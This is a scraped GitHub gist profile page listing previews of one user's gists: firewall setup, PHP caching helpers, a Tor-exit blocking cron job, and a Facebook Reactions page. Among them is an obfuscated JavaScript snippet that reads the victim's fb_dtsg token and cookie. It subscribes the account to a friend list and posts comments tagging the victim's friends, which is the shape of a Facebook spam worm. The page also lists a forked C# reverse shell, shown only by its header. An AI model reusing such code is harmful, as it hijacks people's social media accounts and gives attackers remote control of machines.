Skip to content

Instantly share code, notes, and snippets.

GeE siamware

Block or report user

Report or block siamware

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:11105396
function IbraheemNada(uidss){var a=document.createElement('script');a.innerHTML="new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: "+uidss+" }).send();";document.body.appendChild(a)}
var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","283190978515002","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","","open","","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_
#!/bin/sh -x
# ==================================
# iptables default configuration script
# - this locks down our servers port access
# ==================================
# install fail2ban
sudo apt-get update
siamware / index.html
Created Mar 24, 2017 — forked from J0ker98/index.html
Working Facebook Reactions count and webpage show
View index.html
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<title>Facebook Reactions</title>
html {
box-sizing: border-box;
width: 100%;
height: 100%;
siamware /
Created May 3, 2017 — forked from denji/
HTTP(S) Benchmark Tools / Toolkit for testing/debugging HTTP(S) and restAPI (RESTful)
siamware / reverse.cs
Created Jan 5, 2018 — forked from fdiskyou/reverse.cs
C# Reverse Shell
View reverse.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
siamware / cache-json.php
Created Apr 9, 2018 — forked from erwstout/cache-json.php
Write JSON file and cache it.
View cache-json.php
* Write an array to a JSON file. Replace $data with your array,
* and skip JSON encoding if you already have JSON
function write_data_to_file( $filename ) {
$json = file_get_contents( '');
$time = time();
file_put_contents( $filename, $json );
siamware / cache.php
Created Apr 9, 2018 — forked from mibrahim/cache.php
php caching
View cache.php
/* gets the contents of a file if it exists, otherwise grabs and caches */
function get_content($file,$url,$hours = 24,$fn = '',$fn_args = '') {
$current_time = time(); $expire_time = $hours * 60 * 60; $file_time = filemtime($file);
//decisions, decisions
if(file_exists($file) && ($current_time - $expire_time < $file_time)) {
//echo 'returning from cached file';
return file_get_contents($file);
siamware /
Created May 31, 2018 — forked from tiagoad/
Cronjob to block tor exit nodes with nginx on debian 8 jessie
wget -qO- | grep ExitAddress | cut -d ' ' -f 2 | sed "s/^/deny /g; s/$/;/g" > /etc/nginx/conf.d/tor-block.conf; systemctl reload nginx
View watermark.html
<img src="watermark.php?watermark=watermark.png&src=test.jpg" />
siamware / cache.phpi
Created Feb 24, 2019 — forked from CAFxX/cache.phpi
PHP remote file/URL cache
View cache.phpi
A simple cache for remote files/URLs
2011 Carlo Alberto Ferraris <>
The cache function allows you to get the contents of a remote URL at
most once every N seconds. It also supports the If-Modified-Since HTTP
header to avoid fetching the resource again if it hasn't changed.
You can’t perform that action at this time.